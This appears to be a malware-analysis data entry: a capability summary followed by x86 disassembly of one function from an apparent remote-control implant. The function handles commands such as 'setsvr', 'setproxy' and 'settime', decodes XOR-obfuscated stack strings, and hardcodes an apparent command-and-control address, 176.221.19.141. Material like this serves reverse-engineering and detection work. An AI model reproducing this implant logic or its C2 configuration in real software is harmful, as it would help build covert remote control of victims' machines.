Function at 0x404050
Capabilities:
Contain obfuscated stackstrings
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x498
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
push 6
push str.sleep
push esi
mov dword [ebp - 0x488], ebx
call fcn.0040e15d
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0xc
test eax, eax
jne 0x4041f1
lea eax, [ebp - 0x48c]
mov dword [ebp - 0x80], 0x20406e8d
push eax
lea eax, [ebp - 0x84]
mov dword [ebp - 0x7c], 0xdf1285f
xor dword [ebp - 0x7e], 0xda5f4465
push eax
mov dword [ebp - 0x84], 0x89bb6c73
xor dword [ebp - 0x82], 0x4efdecde
mov dword [ebp - 0x78], 0x5bf864
xor dword [ebp - 0x7a], 0xfccf9ca2
push esi
mov dword [ebp - 0x48c], 0
call fcn.00403cf0
add esp, 0xc
test eax, eax
je 0x404d16
mov esi, dword [ebp - 0x48c]
test esi, esi
jne 0x404105
cmp esi, 0x10000
jae 0x404d16
push 0x400
lea eax, [ebp - 0x484]
mov dword [0x41fb50], esi
push 0
push eax
call fcn.00406600
push esi
lea eax, [ebp - 0x84]
mov dword [ebp - 0x84], 0x65656c73
push eax
lea eax, [ebp - 0x484]
mov dword [ebp - 0x80], 0x64252070
push eax
mov dword [ebp - 0x7c], 0x216b6f20
mov dword [ebp - 0x78], 0x90000a0d
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 0x484]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebx + 8]
push eax
lea eax, [ebp - 0x484]
push eax
call fcn.00401f40
push 0
lea eax, [ebp - 0x490]
mov dword [ebp - 0x80], 0xd4356eee
push eax
push 6
lea eax, [ebp - 0x84]
mov dword [ebp - 0x84], 0x1a677865
xor dword [ebp - 0x82], 0x6bee6e0e
push eax
push dword [ebx + 0x10]
mov dword [ebp - 0x7c], 0xdf17ddd
xor dword [ebp - 0x7e], 0x5582f475
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push dword [ebx + 0x1c]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebx + 8]
call fcn.00401eb0
pop edi
pop esi
mov dword [0x420764], 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040506d
mov esp, ebp
pop ebp
ret 8
push 8
push str.setweek
push esi
call fcn.0040e295
add esp, 0xc
test eax, eax
jne 0x40437d
push 0x400
push eax
lea eax, [ebp - 0x484]
push eax
call fcn.00406600
lea eax, [ebp - 0x488]
mov dword [ebp - 0x80], 0xdbbe1e9d
push eax
lea eax, [ebp - 0x84]
mov dword [ebp - 0x7c], 0xc8723ae5
xor dword [ebp - 0x7e], 0x5ec0fbd5
push eax
mov dword [ebp - 0x84], 0xed5a6573
xor dword [ebp - 0x82], 0x7bf89a2e
mov dword [ebp - 0x78], 0x5b8000
xor dword [ebp - 0x7a], 0x7864c572
push esi
mov dword [ebp - 0x488], 0
call fcn.00403cf0
add esp, 0x18
test eax, eax
je 0x404d16
mov ecx, dword [ebp - 0x488]
lea eax, [ecx - 1]
cmp eax, 6
ja 0x404d16
mov dword [ecx*4 + 0x41fb30], 1
call fcn.00403420
test eax, eax
je 0x4042e9
mov dword [ebp - 0x80], 0xed73c635
mov dword [ebp - 0x7c], 0x991cd18b
xor dword [ebp - 0x7e], 0xbde28c15
mov dword [ebp - 0x78], 0x745b3d49
xor dword [ebp - 0x7a], 0x3d2dbc32
mov dword [ebp - 0x84], 0x7a877277
xor dword [ebp - 0x82], 0xe6500eee
mov dword [ebp - 0x74], 0x382688
xor dword [ebp - 0x76], 0xfe327e41
push eax
jmp 0x404334
push dword [ebp - 0x488]
mov dword [ebp - 0x80], 0x2b1e9caa
mov dword [ebp - 0x7c], 0x247271c8
xor dword [ebp - 0x7e], 0x15ed0b75
mov dword [ebp - 0x78], 0x82a1d0cf
xor dword [ebp - 0x7a], 0xf1a44b52
mov dword [ebp - 0x84], 0x547a6573
xor dword [ebp - 0x82], 0xf9cf230e
mov dword [ebp - 0x74], 0x387f27
xor dword [ebp - 0x76], 0x59aff6a1
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x484]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x484]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebx + 8]
push eax
lea eax, [ebp - 0x484]
push eax
call fcn.00401f40
push 0
lea eax, [ebp - 0x490]
push eax
push 2
push 0x41ca2c
jmp 0x404e84
push 0xa
push str.unsetweek
push esi
call fcn.0040e295
add esp, 0xc
test eax, eax
jne 0x404525
push 0x400
push eax
lea eax, [ebp - 0x484]
push eax
call fcn.00406600
lea eax, [ebp - 0x488]
mov dword [ebp - 0x80], 0xf8657744
push eax
lea eax, [ebp - 0x84]
mov dword [ebp - 0x7c], 0xc9de190e
xor dword [ebp - 0x7e], 0x39659d00
push eax
mov dword [ebp - 0x78], 0xd3d5a8e6
xor dword [ebp - 0x7a], 0x78e6adfb
mov dword [ebp - 0x84], 0xf82c6e75
xor dword [ebp - 0x82], 0x309d5f
mov dword [ebp - 0x74], 0x38954a
xor dword [ebp - 0x76], 0xea6d5174
push esi
mov dword [ebp - 0x488], 0
call fcn.00403cf0
add esp, 0x18
test eax, eax
je 0x404d16
mov ecx, dword [ebp - 0x488]
lea eax, [ecx - 1]
cmp eax, 6
ja 0x404d16
mov dword [ecx*4 + 0x41fb30], 0
call fcn.00403420
test eax, eax
je 0x404483
mov dword [ebp - 0x80], 0x30162830
mov dword [ebp - 0x7c], 0xa0e51065
xor dword [ebp - 0x7e], 0x7c0c5170
mov dword [ebp - 0x78], 0xd7b1ec75
xor dword [ebp - 0x7a], 0xec1185cb
mov dword [ebp - 0x84], 0x65c67277
xor dword [ebp - 0x82], 0x85511af
mov dword [ebp - 0x74], 0x387ae5
xor dword [ebp - 0x76], 0xefaf0464
push eax
jmp 0x4044dc
push dword [ebp - 0x488]
mov dword [ebp - 0x80], 0xd1856723
mov dword [ebp - 0x7c], 0xb6bec400
xor dword [ebp - 0x7e], 0xe46bb4e0
mov dword [ebp - 0x78], 0x2f3f852b
xor dword [ebp - 0x7a], 0xea0bd29b
mov dword [ebp - 0x74], 0xfdef12c9
xor dword [ebp - 0x76], 0x68c90e54
mov dword [ebp - 0x84], 0xe78c6e75
xor dword [ebp - 0x82], 0x105782ff
mov dword [ebp - 0x70], 0x2063dc
xor dword [ebp - 0x72], 0x6381fdd7
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x484]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x484]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebx + 8]
push eax
lea eax, [ebp - 0x484]
push eax
call fcn.00401f40
push 0
lea eax, [ebp - 0x490]
push eax
push 2
push 0x41ca2c
jmp 0x404e84
push 8
push str.settime
push esi
call fcn.0040e295
add esp, 0xc
test eax, eax
jne 0x404749
push 0x400
push eax
lea eax, [ebp - 0x484]
push eax
call fcn.00406600
lea eax, [ebp - 0x488]
mov dword [ebp - 0x80], 0xd1357743
push eax
lea eax, [ebp - 0x494]
mov dword [ebp - 0x7c], 0x275117d3
xor dword [ebp - 0x7e], 0x73f6f150
push eax
lea eax, [ebp - 0x498]
mov dword [ebp - 0x78], 0x6d6109cd
xor dword [ebp - 0x7a], 0x24a9026b
push eax
lea eax, [ebp - 0x48c]
mov dword [ebp - 0x74], 0xc543f458
xor dword [ebp - 0x76], 0xd1620944
push eax
lea eax, [ebp - 0x84]
mov dword [ebp - 0x84], 0x7b3b6573
xor dword [ebp - 0x82], 0x1a2a0f4f
push eax
mov dword [ebp - 0x70], 0x20ad24
xor dword [ebp - 0x72], 0xad79c527
push esi
mov dword [ebp - 0x48c], 0
mov dword [ebp - 0x498], 0
mov dword [ebp - 0x494], 0
mov dword [ebp - 0x488], 0
call fcn.00403cf0
add esp, 0x24
test eax, eax
je 0x404d16
mov ecx, dword [ebp - 0x48c]
cmp ecx, 0x18
jae 0x404d16
mov edx, dword [ebp - 0x494]
lea eax, [edx - 1]
cmp eax, 0x16
ja 0x404d16
mov esi, dword [ebp - 0x498]
cmp esi, 0x3c
jae 0x404d16
cmp dword [ebp - 0x488], 0x3c
jae 0x404d16
mov eax, ecx
shl eax, 4
sub eax, ecx
mov ecx, dword [ebp - 0x488]
lea esi, [esi + eax*4]
mov eax, edx
shl eax, 4
sub eax, edx
lea edi, [ecx + eax*4]
call fcn.00403420
test eax, eax
je 0x4046cc
push eax
lea eax, [ebp - 0x84]
mov dword [ebp - 0x80], 0x874609a6
push eax
lea eax, [ebp - 0x484]
mov dword [ebp - 0x7c], 0xe175e2aa
xor dword [ebp - 0x7e], 0x8ec3e620
mov dword [ebp - 0x78], 0xcdcf34d6
xor dword [ebp - 0x7a], 0x34b2c45b
mov dword [ebp - 0x84], 0x9ed67277
xor dword [ebp - 0x82], 0x29c3eabf
mov dword [ebp - 0x74], 0x36c229
xor dword [ebp - 0x76], 0xc21bcd94
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [0x41fb28], esi
mov dword [0x41fb2c], edi
jmp 0x40434b
push edi
push esi
lea eax, [ebp - 0x84]
mov dword [ebp - 0x80], 0xaca5425e
push eax
lea eax, [ebp - 0x484]
mov dword [ebp - 0x7c], 0x1216aa9e
xor dword [ebp - 0x7e], 0xcebb8cc0
mov dword [ebp - 0x78], 0xe05b275c
xor dword [ebp - 0x7a], 0x738373b
mov dword [ebp - 0x74], 0xc941b789
xor dword [ebp - 0x76], 0xb7a88b34
mov dword [ebp - 0x84], 0xdceb6573
xor dword [ebp - 0x82], 0x2f37a89f
mov dword [ebp - 0x70], 0x203686
xor dword [ebp - 0x72], 0x36dbc977
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov dword [0x41fb28], esi
mov dword [0x41fb2c], edi
jmp 0x40434b
push 8
push str.showtime
push esi
call fcn.0040e295
add esp, 0xc
test eax, eax
jne 0x404882
push 0x400
push eax
lea eax, [ebp - 0x484]
push eax
call fcn.00406600
mov esi, dword [0x41fb2c]
mov eax, 0x88888889
mov edi, dword [0x41fb28]
mul esi
mov eax, 0x88888889
mov dword [ebp - 0x80], 0xa1351449
mov ecx, edx
mov dword [ebp - 0x7c], 0xbacf4d6f
mul edi
shr ecx, 5
mov eax, ecx
shr edx, 5
shl eax, 4
sub eax, ecx
xor dword [ebp - 0x7e], 0x6842c510
shl eax, 2
sub esi, eax
mov dword [ebp - 0x78], 0xa2290650
push esi
push ecx
mov eax, edx
xor dword [ebp - 0x7a], 0x627597ab
shl eax, 4
sub eax, edx
mov dword [ebp - 0x74], 0x2c42513f
shl eax, 2
sub edi, eax
xor dword [ebp - 0x76], 0x7c5b8704
push edi
push edx
push dword [0x41fb4c]
lea eax, [ebp - 0x84]
mov dword [ebp - 0x70], 0x44bc10e5
push dword [0x41fb48]
xor dword [ebp - 0x72], 0x35c54867
push dword [0x41fb44]
mov dword [ebp - 0x6c], 0x62ee475b
push dword [0x41fb40]
xor dword [ebp - 0x6e], 0x237e7ed8
push dword [0x41fb3c]
mov dword [ebp - 0x68], 0xc5a9dff7
push dword [0x41fb38]
xor dword [ebp - 0x6a], 0xe59347c3
push dword [0x41fb34]
mov dword [ebp - 0x64], 0x6c842812
xor dword [ebp - 0x66], 0x2812a18c
push eax
lea eax, [ebp - 0x484]
mov dword [ebp - 0x84], 0x23a26425
xor dword [ebp - 0x82], 0x392d068f
mov dword [ebp - 0x60], 0xa853f
xor dword [ebp - 0x62], 0x85326cbf
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x40
jmp 0x40434b
push 7
push str.setsvr
push esi
call fcn.0040e295
add esp, 0xc
test eax, eax
jne 0x404a0c
push 0x400
push eax
lea eax, [ebp - 0x484]
push eax
call fcn.00406600
add esp, 0xc
mov dword [ebp - 0x48c], 0
xor ebx, ebx
push esi
call edi
test eax, eax
jle 0x4048d0
cmp byte [esi + ebx], 0x3a
je 0x4048d0
push esi
inc ebx
call edi
cmp ebx, eax
jl 0x4048c2
push esi
call edi
cmp ebx, eax
je 0x404d10
lea eax, [ebp - 0x48c]
mov byte [esi + ebx], 0
push eax
lea eax, [esi + 1]
add eax, ebx
push 0x41ca5c
push eax
call fcn.00403cf0
add esp, 0xc
test eax, eax
je 0x404d10
mov eax, dword [ebp - 0x48c]
dec eax
cmp eax, 0xfffe
ja 0x404d10
lea eax, [esi + 7]
push eax
push str.176.221.19.141
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x48c]
mov dword [0x41fa90], eax
call fcn.00403420
test eax, eax
je 0x404995
push eax
lea eax, [ebp - 0x84]
mov dword [ebp - 0x80], 0xf7366514
push eax
lea eax, [ebp - 0x484]
mov dword [ebp - 0x7c], 0x4c450396
xor dword [ebp - 0x7e], 0x6fff9650
mov dword [ebp - 0x78], 0x446db7fd
xor dword [ebp - 0x7a], 0xb799696b
mov dword [ebp - 0x84], 0x3a267277
xor dword [ebp - 0x82], 0x45714e4f
mov dword [ebp - 0x74], 0x2c42e946
xor dword [ebp - 0x76], 0xb879e644
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x4049d5
lea eax, [ebp - 0x84]
mov dword [ebp - 0x80], 0x6ea126bf
push eax
lea eax, [ebp - 0x484]
mov dword [ebp - 0x84], 0x89ab6573
xor dword [ebp - 0x82], 0x4dd0a9df
mov dword [ebp - 0x7c], 0x4c454fbe
xor dword [ebp - 0x7e], 0x4c286e80
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea eax, [ebp - 0x484]
push eax
call edi
mov esi, dword [ebp - 0x488]
push eax
lea eax, [ebp - 0x484]
push eax
mov ecx, dword [esi + 8]
call fcn.00401f40
push 0
lea eax, [ebp - 0x490]
push eax
push 2
push 0x41ca2c
push dword [esi + 0x10]
jmp 0x404e87
push 7
push str.setsvr1
push esi
call fcn.0040e295
add esp, 0xc
test eax, eax
jne 0x404b9a
push 0x400
push eax
lea eax, [ebp - 0x484]
push eax
call fcn.00406600
add esp, 0xc
mov dword [ebp - 0x48c], 0
xor ebx, ebx
push esi
call edi
test eax, eax
jle 0x404a5e
nop dword [eax]
cmp byte [esi + ebx], 0x3a
je 0x404a5e
push esi
inc ebx
call edi
cmp ebx, eax
jl 0x404a50
push esi
call edi
cmp ebx, eax
je 0x404d10
lea eax, [ebp - 0x48c]
mov byte [esi + ebx], 0
push eax
lea eax, [esi + 1]
add eax, ebx
push 0x41ca5c
push eax
call fcn.00403cf0
add esp, 0xc
test eax, eax
je 0x404d10
mov eax, dword [ebp - 0x48c]
dec eax
cmp eax, 0xfffe
ja 0x404d10
lea eax, [esi + 8]
push eax
push 0x41f990
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x48c]
mov dword [0x41fa94], eax
call fcn.00403420
test eax, eax
je 0x404b23
push eax
lea eax, [ebp - 0x84]
mov dword [ebp - 0x80], 0x155675d8
push eax
lea eax, [ebp - 0x484]
mov dword [ebp - 0x7c], 0x5525a36c
xor dword [ebp - 0x7e], 0xcf057430
mov dword [ebp - 0x78], 0x3d49173e
xor dword [ebp - 0x7a], 0x175a700b
mov dword [ebp - 0x84], 0x91867277
xor dword [ebp - 0x82], 0x55bde5ef
mov dword [ebp - 0x74], 0x2c42a71a
xor dword [ebp - 0x76], 0x4e5c7924
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x404b63
lea eax, [ebp - 0x84]
mov dword [ebp - 0x80], 0xac61378d
push eax
lea eax, [ebp - 0x484]
mov dword [ebp - 0x84], 0x5f6b6573
xor dword [ebp - 0x82], 0x5ce27f1f
mov dword [ebp - 0x7c], 0x55255c43
xor dword [ebp - 0x7e], 0xff2fac40
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea eax, [ebp - 0x484]
push eax
call edi
mov esi, dword [ebp - 0x488]
push eax
lea eax, [ebp - 0x484]
push eax
mov ecx, dword [esi + 8]
call fcn.00401f40
push 0
lea eax, [ebp - 0x490]
push eax
push 2
push 0x41ca2c
push dword [esi + 0x10]
jmp 0x404e87
push 9
push str.setproxy
push esi
call fcn.0040e295
add esp, 0xc
test eax, eax
jne 0x404d77
push 0x400
push eax
lea eax, [ebp - 0x484]
push eax
call fcn.00406600
add esp, 0xc
mov dword [ebp - 0x48c], 0
xor ebx, ebx
push esi
call edi
test eax, eax
jle 0x404bee
nop word [eax + eax]
cmp byte [esi + ebx], 0x3a
je 0x404bee
push esi
inc ebx
call edi
cmp ebx, eax
jl 0x404be0
push esi
call edi
cmp ebx, eax
je 0x404d10
lea eax, [ebp - 0x48c]
mov byte [esi + ebx], 0
push eax
lea eax, [esi + 1]
add eax, ebx
push 0x41ca5c
push eax
call fcn.00403cf0
add esp, 0xc
test eax, eax
je 0x404d10
cmp dword [ebp - 0x48c], 0x10000
jae 0x404d10
lea eax, [esi + 9]
push eax
push 0x41fa9c
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x48c]
mov dword [0x41fb1c], eax
call fcn.00403420
test eax, eax
je 0x404c99
mov dword [ebp - 0x80], 0x6956492a
mov dword [ebp - 0x7c], 0x2925e816
xor dword [ebp - 0x7e], 0x847f0830
mov dword [ebp - 0x78], 0xd06d402d
xor dword [ebp - 0x7a], 0x40490c0b
mov dword [ebp - 0x84], 0x95867277
xor dword [ebp - 0x82], 0x694fe1ef
mov dword [ebp - 0x74], 0x2c423a60
xor dword [ebp - 0x76], 0x9d7aed24
jmp 0x404cd9
lea eax, [ebp - 0x84]
mov dword [ebp - 0x80], 0x7c81157e
push eax
lea eax, [ebp - 0x484]
mov dword [ebp - 0x84], 0xb64b6573
xor dword [ebp - 0x82], 0x7e11963f
mov dword [ebp - 0x7c], 0xc96297a3
xor dword [ebp - 0x7e], 0x597b7ca0
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea eax, [ebp - 0x484]
push eax
call edi
mov esi, dword [ebp - 0x488]
push eax
lea eax, [ebp - 0x484]
push eax
mov ecx, dword [esi + 8]
call fcn.00401f40
push 0
lea eax, [ebp - 0x490]
push eax
push 2
push 0x41ca2c
push dword [esi + 0x10]
jmp 0x404e87
mov ebx, dword [ebp - 0x488]
push 0x400
lea eax, [ebp - 0x484]
push 0
push eax
call fcn.00406600
lea eax, [ebp - 0x84]
mov dword [ebp - 0x80], 0x804c408d
push eax
lea eax, [ebp - 0x484]
mov dword [ebp - 0x84], 0xa6e27265
xor dword [ebp - 0x82], 0x32ec8690
mov dword [ebp - 0x7c], 0xc9627656
xor dword [ebp - 0x7e], 0xe1f5802b
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [ebp - 0x484]
push eax
call edi
jmp 0x404358
push 7
push str.showsvr
push esi
call fcn.0040e295
add esp, 0xc
test eax, eax
jne 0x404e77
push 0x400
push eax
lea eax, [ebp - 0x484]
push eax
call fcn.00406600
push dword [0x41fb1c]
lea eax, [ebp - 0x84]
mov dword [ebp - 0x80], 0xafcaf44d
push 0x41fa9c
push dword [0x41fa94]
mov dword [ebp - 0x7c], 0x726eb5d8
xor dword [ebp - 0x7e], 0x8fab8af0
push 0x41f990
push dword [0x41fa90]
mov dword [ebp - 0x78], 0xe4c4903d
xor dword [ebp - 0x7a], 0xb01d164b
push str.176.221.19.141
push eax
lea eax, [ebp - 0x484]
mov dword [ebp - 0x74], 0x7a227d47
xor dword [ebp - 0x76], 0x4734c1e4
mov dword [ebp - 0x70], 0x88e4d91c
xor dword [ebp - 0x72], 0xab401e07
mov dword [ebp - 0x6c], 0xa40ca4de
xor dword [ebp - 0x6e], 0xd6aee6b8
mov dword [ebp - 0x68], 0x5d49c9e7
xor dword [ebp - 0x6a], 0xf39edc63
mov dword [ebp - 0x64], 0xb43b6bb6
xor dword [ebp - 0x66], 0x4e8c2e6c
mov dword [ebp - 0x60], 0x866ecb09
xor dword [ebp - 0x62], 0x977be85f
mov dword [ebp - 0x84], 0xa05d6573
xor dword [ebp - 0x82], 0x8628d62f
mov dword [ebp - 0x5c], 0xa8892
xor dword [ebp - 0x5e], 0x889f8600
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x2c
jmp 0x40434b
push 0
lea eax, [ebp - 0x490]
push eax
push dword [ebp + 0xc]
push esi
push dword [ebx + 0x10]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040506d
mov esp, ebp
pop ebp
ret 8